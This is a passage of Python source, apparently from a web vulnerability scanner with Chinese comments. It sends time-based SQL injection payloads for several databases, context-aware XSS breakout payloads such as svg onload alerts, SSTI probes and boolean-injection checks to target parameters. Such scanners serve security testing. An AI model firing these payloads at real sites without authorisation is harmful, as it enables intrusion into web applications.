repr(dnslist)), key, new_value, positon) self.success(result) break
def audit(self): num = random_num(4) sql_times = { "MySQL": (" AND SLEEP({})".format(self.sleep_str), " AND SLEEP({})--+".format(self.sleep_str), "' AND SLEEP({})".format(self.sleep_str), "' AND SLEEP({})--+".format(self.sleep_str), "' AND SLEEP({}) AND '{}'='{}".format(self.sleep_str, num, num), '''" AND SLEEP({}) AND "{}"="{}'''.format(self.sleep_str, num, num)), "Postgresql": ( "AND {}=(SELECT {} FROM PG_SLEEP({}))".format( num, num, self.sleep_str), "AND {}=(SELECT {} FROM PG_SLEEP({}))--+".format( num, num, self.sleep_str), ), "Microsoft SQL Server or Sybase": (" waitfor delay '0:0:{}'--+".format(self.sleep_str), "' waitfor delay '0:0:{}'--+".format(self.sleep_str), '''" waitfor delay '0:0:{}'--+'''.format(self.sleep_str)), "Oracle": ( " and 1= dbms_pipe.receive_message('RDS', {})--+".format( self.sleep_str), "' and 1= dbms_pipe.receive_message('RDS', {})--+".format( self.sleep_str), '''" and 1= dbms_pipe.receive_message('RDS', {})--+'''.format( self.sleep_str), "AND 3437=DBMS_PIPE.RECEIVE_MESSAGE(CHR(100)||CHR(119)||CHR(112)||CHR(71),{})" .format(self.sleep_str), "AND 3437=DBMS_PIPE.RECEIVE_MESSAGE(CHR(100)||CHR(119)||CHR(112)||CHR(71),{})--+" .format(self.sleep_str), ) } # 载入处理位置以及原始payload iterdatas = self.generateItemdatas() # 根据原始payload和位置组合新的payload for origin_dict, position in iterdatas: if position == PLACE.URI: continue for dbms_type, _payloads in sql_times.items(): for payloadTemplate in _payloads: r1 = r0 = None delta = 0 flag = 0 new_dict, zero_dict = self.generatePayloads( payloadTemplate, origin_dict) for i in range(self.verify_count): start_time = time.perf_counter() r1 = self.req(position, new_dict) if not r1: continue end_time_1 = time.perf_counter() delta1 = end_time_1 - start_time if delta1 > self.sleep_time: r0 = self.req(position, zero_dict) end_time_0 = time.perf_counter() delta0 = end_time_0 - end_time_1 if delta1 > delta0 > 0: flag += 1 delta = round(delta1 - delta0, 3) continue break if r1 is not None and flag == self.verify_count: result = self.new_result() result.init_info(self.requests.url, "SQL注入", VulType.SQLI) for key, payload in new_dict: result.add_detail( "payload探测", r1.reqinfo, generateResponse(r1), "DBMS_TYPE:{},时间相差:{}s".format( dbms_type, delta), key, payload, position) self.success(result) return True
def audit(self): parse_params = set(getParamsFromHtml(self.response.text)) resp = self.response.text params_data = {} self.init() iterdatas = [] if self.requests.method == HTTPMETHOD.GET: parse_params = (parse_params | TOP_RISK_GET_PARAMS) - set( self.requests.params.keys()) for key in parse_params: params_data[key] = random_str(6) params_data.update(self.requests.params) resp = requests.get(self.requests.netloc, params=params_data, headers=self.requests.headers).text iterdatas = self.generateItemdatas(params_data) elif self.requests.method == HTTPMETHOD.POST: parse_params = (parse_params) - set(self.requests.post_data.keys()) for key in parse_params: params_data[key] = random_str(6) params_data.update(self.requests.post_data) resp = requests.post(self.requests.url, data=params_data, headers=self.requests.headers).text iterdatas = self.generateItemdatas(params_data) for origin_dict, positon in iterdatas: # 先不支持uri上的xss,只支持get post cookie上的xss if positon == PLACE.URI: continue for k, v in origin_dict.items(): v = unquote(v) if v not in resp: continue data = copy.deepcopy(origin_dict) # 探测回显 xsschecker = "0x" + random_str(6, string.digits + "abcdef") data[k] = xsschecker r1 = self.req(positon, data) if not re.search(xsschecker, r1.text, re.I): continue html_type = r1.headers.get("Content-Type", "").lower() XSS_LIMIT_CONTENT_TYPE = conf.XSS_LIMIT_CONTENT_TYPE if XSS_LIMIT_CONTENT_TYPE and 'html' not in html_type: continue # 反射位置查找 locations = SearchInputInResponse(xsschecker, r1.text) if len(locations) == 0: # 找不到反射位置,找下自己原因? flag = random_str(5) payload = "<{}//".format(flag) data[k] = payload req = self.req(positon, data) if payload in req.text: self.result.add_detail( "html代码未转义", req.reqinfo, generateResponse(req), "可使用<svg onload=alert`1`// 进行攻击测试,注意返回格式为:" + html_type, k, data[k], positon) for item in locations: _type = item["type"] details = item["details"] if _type == "html": if details["tagname"] == "style": payload = "expression(a({}))".format( random_str(6, string.ascii_lowercase)) data[k] = payload req = self.req(positon, data) _locations = SearchInputInResponse( payload, req.text) for _item in _locations: if payload in _item["details"][ "content"] and _item["details"][ "tagname"] == "style": self.result.add_detail( "IE下可执行的表达式", req.reqinfo, generateResponse(req.text), "IE下可执行的表达式 expression(alert(1))", k, data[k], positon) break flag = random_str(7) payload = "</{}><{}>".format( random_upper(details["tagname"]), flag) truepayload = "</{}>{}".format( random_upper(details["tagname"]), "<svg onload=alert`1`>") data[k] = payload req = self.req(positon, data) _locations = SearchInputInResponse(flag, req.text) for i in _locations: if i["details"]["tagname"] == flag: self.result.add_detail( "html标签可被闭合", req.reqinfo, generateResponse(req), "<{}>可被闭合,可使用{}进行攻击测试,注意返回格式为:{}".format( details["tagname"], truepayload, html_type), k, data[k], positon) break elif _type == "attibute": if details["content"] == "key": # test html flag = random_str(7) payload = "><{}".format(flag) truepayload = "><svg onload=alert`1`>" data[k] = payload req = self.req(positon, data) _locations = SearchInputInResponse(flag, req.text) for i in _locations: if i["details"]["tagname"] == flag: self.result.add_detail( "html标签可被闭合", req.reqinfo, generateResponse(req), "<{}>可被闭合,可使用{}进行攻击测试,注意返回格式为:{}". format(details["tagname"], truepayload, html_type), k, data[k], positon) break # test attibutes flag = random_str(5) payload = flag + "=" data[k] = payload req = self.req(positon, data) _locations = SearchInputInResponse(flag, req.text) for i in _locations: for _k, v in i["details"]["attibutes"]: if _k == flag: self.result.add_detail( "可自定义任意标签事件", req.reqinfo, generateResponse(req), "可以自定义类似 'onmouseover=prompt(1)'的标签事件,注意返回格式为:" + html_type, k, payload, positon) break else: # test attibutes flag = random_str(5) for _payload in ["'", "\"", ""]: payload = _payload + flag + "=" + _payload truepayload = "{payload} onmouseover=prompt(1){payload}".format( payload=_payload) data[k] = payload req = self.req(positon, data) _occerens = SearchInputInResponse( flag, req.text) for i in _occerens: for _k, _v in i["details"]["attibutes"]: if _k == flag: self.result.add_detail( "引号可被闭合,可使用其他事件造成xss", req.reqinfo, generateResponse(req), "可使用payload:{},注意返回格式为:{}". format(truepayload, html_type), k, payload, positon) break # test html flag = random_str(7) for _payload in [r"'><{}>", "\"><{}>"]: payload = _payload.format(flag) data[k] = payload req = self.req(positon, data) _occerens = SearchInputInResponse( flag, req.text) for i in _occerens: if i["details"]["tagname"] == flag: self.result.add_detail( "html标签可被闭合", req.reqinfo, generateResponse(req), "可测试payload:{}".format( _payload.format( "svg onload=alert`1`")) + ",返回格式为:" + html_type, k, data[k], positon) break # 针对特殊属性进行处理 specialAttributes = [ 'srcdoc', 'src', 'action', 'data', 'href' ] # 特殊处理属性 keyname = details["attibutes"][0][0] tagname = details["tagname"] if keyname in specialAttributes: flag = random_str(7) data[k] = flag req = self.req(positon, data) _occerens = SearchInputInResponse( flag, req.text) for i in _occerens: if len(i["details"]["attibutes"]) > 0 and i["details"]["attibutes"][0][ 0] == keyname and \ i["details"]["attibutes"][0][1] == flag: truepayload = flag if i["details"]["attibutes"][0][ 0] in specialAttributes: truepayload = "javascript:alert(1)" self.result.add_detail( "值可控", req.reqinfo, generateResponse(req), "{}的值可控,可能被恶意攻击,payload:{},注意返回格式为:{}" .format(keyname, truepayload, html_type), k, data[k], positon) break elif keyname == "style": payload = "expression(a({}))".format( random_str(6, string.ascii_lowercase)) data[k] = payload req = self.req(positon, data) _occerens = SearchInputInResponse( payload, req.text) for _item in _occerens: if payload in str(_item["details"]) and len(_item["details"]["attibutes"]) > 0 and \ _item["details"]["attibutes"][0][0] == keyname: self.result.add_detail( "IE下可执行的表达式", req.reqinfo, generateResponse(req.text), "IE下可执行的表达式 payload:expression(alert(1))", k, data[k], positon) break elif keyname.lower() in XSS_EVAL_ATTITUDES: # 在任何可执行的属性中 payload = random_str(6, string.ascii_lowercase) data[k] = payload req = self.req(positon, data) _occerens = SearchInputInResponse( payload, req.text) for i in _occerens: _attibutes = i["details"]["attibutes"] if len(_attibutes) > 0 and _attibutes[0][ 1] == payload and _attibutes[0][ 0].lower() == keyname.lower(): self.result.add_detail( "事件的值可控", req.reqinfo, generateResponse(req), "{}的值可控,可能被恶意攻击,注意返回格式为:{}".format( keyname, html_type), k, data[k], positon) break elif _type == "comment": flag = random_str(7) for _payload in ["-->", "--!>"]: payload = "{}<{}>".format(_payload, flag) truepayload = payload.format( _payload, "svg onload=alert`1`") data[k] = payload req = self.req(positon, data) _occerens = SearchInputInResponse(flag, req.text) for i in _occerens: if i["details"]["tagname"] == flag: self.result.add_detail( "html注释可被闭合", req.reqinfo, generateResponse(req), "html注释可被闭合 测试payload:{},注意返回格式为:{}". format(truepayload, html_type), k, data[k], positon) break elif _type == "script": # test html flag = random_str(7) script_tag = random_upper(details["tagname"]) payload = "</{}><{}>{}</{}>".format( script_tag, script_tag, flag, script_tag) truepayload = "</{}><{}>{}</{}>".format( script_tag, script_tag, "prompt(1)", script_tag) data[k] = payload req = self.req(positon, data) _occerens = SearchInputInResponse(flag, req.text) for i in _occerens: if i["details"]["content"] == flag and i[ "details"]["tagname"].lower( ) == script_tag.lower(): self.result.add_detail( "可以新建script标签执行任意代码", req.reqinfo, generateResponse(req), "可以新建script标签执行任意代码 测试payload:{},注意返回格式为:{}" .format(truepayload, html_type), k, data[k], positon) break # js 语法树分析反射 source = details["content"] _occurences = SearchInputInScript(xsschecker, source) for i in _occurences: _type = i["type"] _details = i["details"] if _type == "InlineComment": flag = random_str(5) payload = "\n;{};//".format(flag) truepayload = "\n;{};//".format('prompt(1)') data[k] = payload resp = self.req(positon, data).text for _item in SearchInputInResponse(flag, resp): if _item["details"]["tagname"] != "script": continue resp2 = _item["details"]["content"] output = SearchInputInScript(flag, resp2) for _output in output: if flag in _output["details"][ "content"] and _output[ "type"] == "ScriptIdentifier": self.result.add_detail( "js单行注释bypass", req.reqinfo, generateResponse(req), "js单行注释可被\\n bypass,注意返回格式为:" + html_type.format(truepayload), k, data[k], positon) break elif _type == "BlockComment": flag = "0x" + random_str(4, "abcdef123456") payload = "*/{};/*".format(flag) truepayload = "*/{};/*".format('prompt(1)') data[k] = payload resp = self.req(positon, data).text for _item in SearchInputInResponse(flag, resp): if _item["details"]["tagname"] != "script": continue resp2 = _item["details"]["content"] output = SearchInputInScript(flag, resp2) for _output in output: if flag in _output["details"][ "content"] and _output[ "type"] == "ScriptIdentifier": self.result.add_detail( "js块注释可被bypass", req.reqinfo, generateResponse(req), "js单行注释可被\\n bypass,注意返回格式为:" + html_type.format(truepayload), k, data[k], positon) break elif _type == "ScriptIdentifier": self.result.add_detail( "可直接执行任意js命令", req.reqinfo, generateResponse(req), "ScriptIdentifier类型 测试payload:prompt(1);//,注意返回格式为:" + html_type, k, data[k], positon) elif _type == "ScriptLiteral": content = _details["content"] quote = content[0] flag = random_str(6) if quote == "'" or quote == "\"": payload = '{quote}-{rand}-{quote}'.format( quote=quote, rand=flag) truepayload = '{quote}-{rand}-{quote}'.format( quote=quote, rand="prompt(1)") else: flag = "0x" + random_str(4, "abcdef123456") payload = flag truepayload = "prompt(1)" data[k] = payload resp = self.req(positon, data).text resp2 = None for _item in SearchInputInResponse( payload, resp): if payload in _item["details"][ "content"] and _item[ "type"] == "script": resp2 = _item["details"]["content"] if not resp2: continue output = SearchInputInScript(flag, resp2) if output: for _output in output: if flag in _output["details"][ "content"] and _output[ "type"] == "ScriptIdentifier": self.result.add_detail( "script脚本内容可被任意设置", req.reqinfo, generateResponse(req), "测试payload:{},注意返回格式为:{}". format(truepayload, html_type), k, data[k], positon) break # ssti检测 randnum1 = random.randint(50, 500) randnum2 = random.randint(80, 400) checksum = str(randnum1 * randnum2) ssti_payloads = self.getSSTIPayload(randnum1, randnum2) for payload in ssti_payloads: data[k] = payload # 不编码请求 r1 = self.req(positon, url_dict2str(data, positon)) if checksum in r1.text: result = self.new_result() result.init_info(self.requests.url, "SSTI模板注入", VulType.XSS) result.add_detail( "payload请求", r1.reqinfo, generateResponse(r1), "payload:{} 会回显{} 不编码payload".format( payload, checksum), k, payload, positon) self.success(result) # url编码请求 r1 = self.req(positon, data) if checksum in r1.text: result = self.new_result() result.init_info(self.requests.url, "SSTI模板注入", VulType.XSS) result.add_detail( "payload请求", r1.reqinfo, generateResponse(r1), "payload:{} 会回显{} url编码payload".format( payload, checksum), k, payload, positon) self.success(result) # html编码请求 r1 = self.req(positon, data) if checksum in r1.text: result = self.new_result() result.init_info(self.requests.url, "SSTI模板注入", VulType.XSS) result.add_detail( "payload请求", r1.reqinfo, generateResponse(r1), "payload:{} 会回显{} html编码payload".format( payload, checksum), k, payload, positon) self.success(result) if len(self.result.detail) > 0: self.success(self.result)
def inject(self, params, positon, k, payload_false, payload_true): data = copy.deepcopy(params) is_inject = False data[k] = payload_false r2 = self.req(positon, url_dict2str(data, positon)) falsePage = self.removeDynamicContent(r2.text) try: self.seqMatcher.set_seq1(self.resp_str) self.seqMatcher.set_seq2(falsePage) ratio_false = round(self.seqMatcher.quick_ratio(), 3) if ratio_false == 1.0: return False except (MemoryError, OverflowError): return False # true page data[k] = payload_true r = self.req(positon, url_dict2str(data, positon)) truePage = self.removeDynamicContent(r.text) if truePage == falsePage: return False try: self.seqMatcher.set_seq1(self.resp_str or "") self.seqMatcher.set_seq2(truePage or "") ratio_true = round(self.seqMatcher.quick_ratio(), 3) except (MemoryError, OverflowError): return False if ratio_true > self.UPPER_RATIO_BOUND and abs( ratio_true - ratio_false) > self.DIFF_TOLERANCE: if ratio_false <= self.UPPER_RATIO_BOUND: is_inject = True if not is_inject and ratio_true > 0.68 and ratio_true > ratio_false: originalSet = set( getFilteredPageContent(self.resp_str, True, "\n").split("\n")) trueSet = set( getFilteredPageContent(truePage, True, "\n").split("\n")) falseSet = set( getFilteredPageContent(falsePage, True, "\n").split("\n")) if len(originalSet - trueSet) <= 2 and trueSet != falseSet: candidates = trueSet - falseSet if len(candidates) > 0: is_inject = True # if candidates: # candidates = sorted(candidates, key=len) # for candidate in candidates: # if re.match(r"\A[\w.,! ]+\Z", # candidate) and ' ' in candidate and candidate.strip() and len( # candidate) > 10: # is_inject = True # break if is_inject: ret = [] ret.append({ "request": r.reqinfo, "response": generateResponse(r), "key": k, "payload": payload_true, "position": positon, "desc": "发送True请求包与原网页相似度:{}".format(ratio_true) }) ret.append({ "request": r2.reqinfo, "response": generateResponse(r2), "key": k, "payload": payload_false, "position": positon, "desc": "发送False请求包与原网页相似度:{}".format(ratio_false) }) return ret else: return False